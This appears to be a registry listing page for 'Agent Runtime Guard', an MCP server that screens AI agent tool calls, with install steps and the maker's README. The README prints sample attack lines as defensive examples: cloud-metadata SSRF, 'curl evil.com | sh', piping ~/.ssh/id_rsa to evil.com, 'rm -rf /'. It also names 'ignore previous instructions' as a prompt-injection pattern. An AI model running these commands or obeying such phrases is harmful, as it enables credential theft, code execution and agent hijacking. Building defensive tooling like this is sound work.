Agent Runtime Guard

Name: Agent Runtime Guard
Author: DSHCorrectover

by DSHCorrectoverversion 1.0.0i★ 2iRuns on your computer

Registry nameio.github.DSHCorrectover/agent-runtime-guard

How to install

What it does

Agent 运行时全栈拦截: allow/deny tool calls, Ed25519 receipts, blocks RCE, theft, SSRF, injection. stdio.

Connects Runs on your computer
Account or key No key needed
Category Other

Install

Pick the AI app you use, then copy the settings.

Passed 2/3 checks · Runs on your computer · ✓ Commands checked Nov 13, 2026

First: which AI do you use?

ClaudeWeb · app · phoneChatGPTWebClaude CodeTerminalCursorCode editorVS CodeCode editorOtherOther apps

Pick your app and the steps appear below.

Works with Claude, with some setup first

Install Node.js on your computer first (one time) · Only the Claude desktop app (Windows or Mac), not the web or phone

Install Node.js
One time only; it works for every server that needs Node.js
Open the Node.js download page ↗
Done
Open the Claude desktop app’s settings file
SettingsDeveloperEdit Config
Done

Paste these settings and save the file

{
  "mcpServers": {
    "agent-runtime-guard": {
      "command": "npx",
      "args": [
        "-y",
        "agent-runtime-guard"
      ]
    }
  }
}

Done

Quit Claude and open it again
Done
Try it
Use Agent Runtime Guard and tell me what you can do for me, then show me one thing
✓ If Claude says it is using Agent Runtime Guard or shows a Agent Runtime Guard tool in the answer, you are connected

Menu names checked against Anthropic’s help page on Nov 11, 2026 · your screen may differ slightly by app version

ChatGPT cannot connect Agent Runtime Guard yet

Agent Runtime Guard runs on your computer, but ChatGPT can only connect servers that run on the web

What you can do instead

A · Use an app that can connect Agent Runtime Guard

Steps for Claude →Install Node.js on your computer first (one time) · Only the Claude desktop app (Windows or Mac), not the web or phone
Steps for Claude Code →Install Node.js on your computer first (one time)
Steps for Cursor →Install Node.js on your computer first (one time)
Steps for VS Code →Install Node.js on your computer first (one time)

B · Others in Other that work with ChatGPT

Picked from the most used in the same category, only ones that connect by address with no key

Hostinger✓ ChatGPT
World Monitor✓ ChatGPT
Svelte MCP✓ ChatGPT

Works with Claude Code, with some setup first

Install Node.js on your computer first (one time)

Install Node.js
One time only; it works for every server that needs Node.js
Open the Node.js download page ↗
Done
Open Terminal
Mac: press Command+Space and type Terminal · Windows: open PowerShell
Done

Paste this command and press Enter

claude mcp add --scope user agent-runtime-guard -- npx -y agent-runtime-guard

Done

Type /mcp in Claude Code
You should see Agent Runtime Guard listed as connected
Done
Try it
Use Agent Runtime Guard and tell me what you can do for me, then show me one thing
✓ If Claude Code says it is using Agent Runtime Guard or shows a Agent Runtime Guard tool in the answer, you are connected

Menu names checked against Anthropic’s help page on Nov 11, 2026 · your screen may differ slightly by app version

Works with Cursor, with some setup first

Install Node.js on your computer first (one time)

Install Node.js
One time only; it works for every server that needs Node.js
Open the Node.js download page ↗
Done
Click this button to open Cursor
Open in Cursor
Cursor asks you to confirm; click Install
Done
Open the AI chat in Cursor in Agent mode
Done
Try it
Use Agent Runtime Guard and tell me what you can do for me, then show me one thing
✓ If Cursor says it is using Agent Runtime Guard or shows a Agent Runtime Guard tool in the answer, you are connected

Menu names checked against Cursor’s help page on Nov 11, 2026 · your screen may differ slightly by app version

Works with VS Code, with some setup first

Install Node.js on your computer first (one time)

Install Node.js
One time only; it works for every server that needs Node.js
Open the Node.js download page ↗
Done
Click this button to open VS Code
Open in VS Code
VS Code asks you to confirm; click Install
Done
Open the AI chat in VS Code in Agent mode
Done
Try it
Use Agent Runtime Guard and tell me what you can do for me, then show me one thing
✓ If VS Code says it is using Agent Runtime Guard or shows a Agent Runtime Guard tool in the answer, you are connected

Menu names checked against VS Code’s help page on Nov 11, 2026 · your screen may differ slightly by app version

Other apps that use MCP, such as Windsurf, Zed or Gemini CLI, each add servers differently. See how in the app list.

See every app that uses MCP →

JSON settings are under “For developers” below

Stuck? Ask people who use Agent Runtime Guard💬 Discussion →

For developers: Terminal commands and JSON settings

Installed on your computer

Claude Code

claude mcp add --scope user agent-runtime-guard -- npx -y agent-runtime-guard

Claude Desktop (claude_desktop_config.json)

{
  "mcpServers": {
    "agent-runtime-guard": {
      "command": "npx",
      "args": [
        "-y",
        "agent-runtime-guard"
      ]
    }
  }
}

Cursor (~/.cursor/mcp.json)

{
  "mcpServers": {
    "agent-runtime-guard": {
      "command": "npx",
      "args": [
        "-y",
        "agent-runtime-guard"
      ]
    }
  }
}

VS Code (mcp.json)

{
  "servers": {
    "agent-runtime-guard": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "agent-runtime-guard"
      ]
    }
  }
}

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

At a glance

GitHub stars i: 2
Downloads per weeki: 58/wk
Licence i: No licence stated
Connection: Runs on your computer
Transport: stdio
Latest versioni: 1.0.0
Categoryi: Other
Published to registryi: Oct 5, 2026
Code last changedi: Nov 8, 2026
Maker: DSHCorrectover
Packages: npm: agent-runtime-guard
Repo: DSHCorrectover/agent-runtime-guard
Registry status: Active

Which apps can use it

Based on how this server connects and on each app’s own docs, checked Nov 10, 2026.

Run on your computer in

Claude Goose LM Studio Msty Studio Cherry Studio Cursor VS Code + GitHub Copilot Visual Studio Windsurf (Devin Desktop)Zed Kiro Cline Continue JetBrains AI Assistant Claude Code Codex CLI Gemini CLI OpenCode nodecode Warp LibreChat Raycast

All apps, with pros and cons →

What it can do

Runs on your computer; the tool list appears in your AI app after you install it.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 14, 2026

✓ Pass
Maker matches the repo
The registry name was verified with the GitHub account DSHCorrectover, which owns the repo
✓ Pass
Still maintained
Code last changed 6 days ago
! Caution
Has a licence
GitHub could not identify the licence type; open the file to check
– Not applicable
Endpoint responds
This one runs on your computer; there is no internet endpoint
– Not applicable
Sign-in with OAuth
Runs on your computer and uses local settings instead
… Not checked yet
No hidden instructions in tool descriptions
Runs on your computer; we can only read tool lists from internet endpoints

Discussion

Ask, share a tip or report that it does not work. Sorted by what people marked helpful.

No posts yet. Be the first to ask or share.

Posts here are written by users, not the PopNx team.

User reviews

No reviews yet

Compared with others in Otheri

More stars than 91% of the other 19750 servers in this category
Published to the registry more recently than 53% of the other 19750 servers in this category
Basic checks equal to or better than 45% of the other 19750 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is Agent Runtime Guard safe?

It passed 2 of 3 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).

Is it still maintained?

The GitHub repo last changed 6 days ago, and the latest version (1.0.0) reached the registry 40 days ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Node.js on your computer.

What can I use instead?

In the same category: World Monitor, Claude Flow, Windmill

Others in the same category

Servers in the same category from other makers, sorted by stars.

Reading a card:↓ Downloads per weeki★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi

World Monitor

Real-time global intelligence on conflict, markets, energy, trade, shipping and cyber. 97 tools.

by koala73Widely used★ 90.6KUpdated yesterday

Runs in the cloud✓ service owner · worldmonitor.app

How to connect

Claude Flow

AI orchestration with hive-mind swarms, neural networks, and 87 MCP tools for enterprise dev.

by ruvnetWidely used↓ 13.5K/wk★ 81.7KUpdated 14 months ago

Runs on your computer

Install

Windmill

Run Windmill scripts and flows and manage jobs, schedules, resources and variables.

by windmill-labsWidely used★ 18.6KUpdated 2 days ago

Runs in the cloud

How to connect

README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

Agent Runtime Guard

Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).

Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).

中文说明见下方中文

Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt

↓ SSRF · Command Injection · Credential Exfil · Prompt Injection

Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy

Why this exists

Your agent has shell, network, and cloud credentials. One bad tool call can:

curl "http://169.254.169.254/latest/meta-data/"     # cloud credential theft

curl https://evil.com/x.sh | sh # RCE cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chain

Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.

Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.

Install by tool

[INSTALL.md](./INSTALL.md) — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.

30-second start

npx -y agent-runtime-guard

MCP client config:

"mcpServers": { "agent-runtime-guard": { "command": "npx", "args": ["-y", "agent-runtime-guard"] } } }

No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).

Scan configs without installing a long-lived process:

npx correctover-scan --demo

What it blocks

Vector	Examples
Command injection	`; rm -rf /`, `curl\	sh`,` IEX(...)`,` eval()`
Path traversal	`../`, `/etc/passwd`, `/proc/self/`
SSRF	`169.254.169.254`, localhost, private ranges — across any tool
Cross-tool exfil	read secrets → network send (`exfil_chain`)
Credential leak	API keys / secrets in args or tool output
Prompt injection	“ignore previous instructions” in tool results
Parameter drift	plan `amount:100`, execute `amount:10000`

Comparison (honest positioning)

Capability	Agent Runtime Guard	Config scanners	Egress proxies (e.g. Pipelock)	Discovery / posture platforms
Control point	Pre-execution tool call	Static config	Network egress	Inventory & permissions
Fail-closed local decide	Yes	N/A	Depends	Usually platform-side
Offline Ed25519 receipts	Yes	Rare	Some (signed action receipts)	Platform logs
Zero runtime deps	Yes (Node stdlib)	Varies	Binary / proxy	SaaS
MCP native (stdio server)	Yes	Scan-only	Proxy / wrapper	Connectors
Public `npx` demo	Yes	Often	Binary install	Demo call

We are not a replacement for discovery platforms or full egress firewalls. They answer “what agents exist / what can leave the network.” We answer: **“Can *this* tool call execute *now*, and here is a receipt.”**

Use together when you need both posture and enforcement.

Evidence receipts

Every Allow / Block produces:

content_hash + evidence_hash
chain pointer (parent_evidence_hash)
Ed25519 signature

Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.

Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).

Tools (MCP)

Tool	Purpose
`verify_tool_call`	7-dimension runtime check + semantic chains — default deny
`issue_evidence`	Tamper-evident receipt (allow and block)
`audit_mcp_config`	Config risk audit
`verify_intent_binding`	Plan vs execute parameter binding
`verify_receipt`	Offline signature / tamper check

Ecosystem

Package	Role
`agent-runtime-guard`	This runtime interceptor
`correctover`	SDK + GuardrailProvider + DSH plugin
`correctover-scan`	MCP / agent config scanner
`agent-runtime-proxy`	Transparent stdio proxy
mcp-atlas-census	229,827 tool records (CC0)

Commercial

Offering	Price (USD)
Runtime intercept + Ed25519 receipts (this package)	Free
Config / bundle scan (correctover-scan)	Free
Standard human audit (CCS-mapped, evidence-grade)	$2,500
Deep audit + PoC + remediation roadmap	$8,000+
Private deploy / integration support	$5,000
Annual retainer (monitoring + emergency)	$25,000/yr

Formal quote follows written scoping (async email only). Contact: wangguigui@correctover.com

GTM: correctover-gtm.pages.dev

中文 · Agent 运行时全栈拦截

给 AI Agent 配一个运行时保安：删库、偷密钥、闯内网、被注入——当场拦下。

不是事后审计：危险动作在执行前 fail-closed 拦截；每次裁决附带 Ed25519 可离线验证收据。

30 秒

npx -y agent-runtime-guard

拦什么

命令注入 · 路径穿越 · SSRF（含云元数据）· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移

三种接入

场景	方式
MCP 客户端	`mcpServers` 配置如上
DeepSeek Harness（v0.2.1+，插件随本包 `dsh/` 附带）	harness 内 `dsh plugin add agent-runtime-guard`；未部署 harness 时用 MCP 或代理方式
不信任宿主插件	`agent-runtime-proxy` 透明代理

与「发现类」工具的关系

发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行，并留下证据」。可并存。

License

Elastic License 2.0 (ELv2). See LICENSE.

Agent Runtime Guard

What it does

Install

Install Node.js

Open the Claude desktop app’s settings file

Paste these settings and save the file

Quit Claude and open it again

Try it

What you can do instead

Install Node.js

Open Terminal

Paste this command and press Enter

Type /mcp in Claude Code

Try it

Install Node.js

Click this button to open Cursor

Open the AI chat in Cursor in Agent mode

Try it

Install Node.js

Click this button to open VS Code

Open the AI chat in VS Code in Agent mode

Try it

Installed on your computer

At a glance

Which apps can use it

Related guides

What it can do

Basic checksi

Maker matches the repo

Still maintained

Has a licence

Endpoint responds

Sign-in with OAuth

No hidden instructions in tool descriptions

Discussion

User reviews

Compared with others in Otheri

Common questions

Others in the same category

World Monitor

Claude Flow

Windmill

README from the maker

Agent Runtime Guard

Why this exists

Install by tool

30-second start

What it blocks

Comparison (honest positioning)

Evidence receipts

Tools (MCP)

Ecosystem

Commercial

中文 · Agent 运行时全栈拦截

30 秒

拦什么

三种接入

与「发现类」工具的关系

License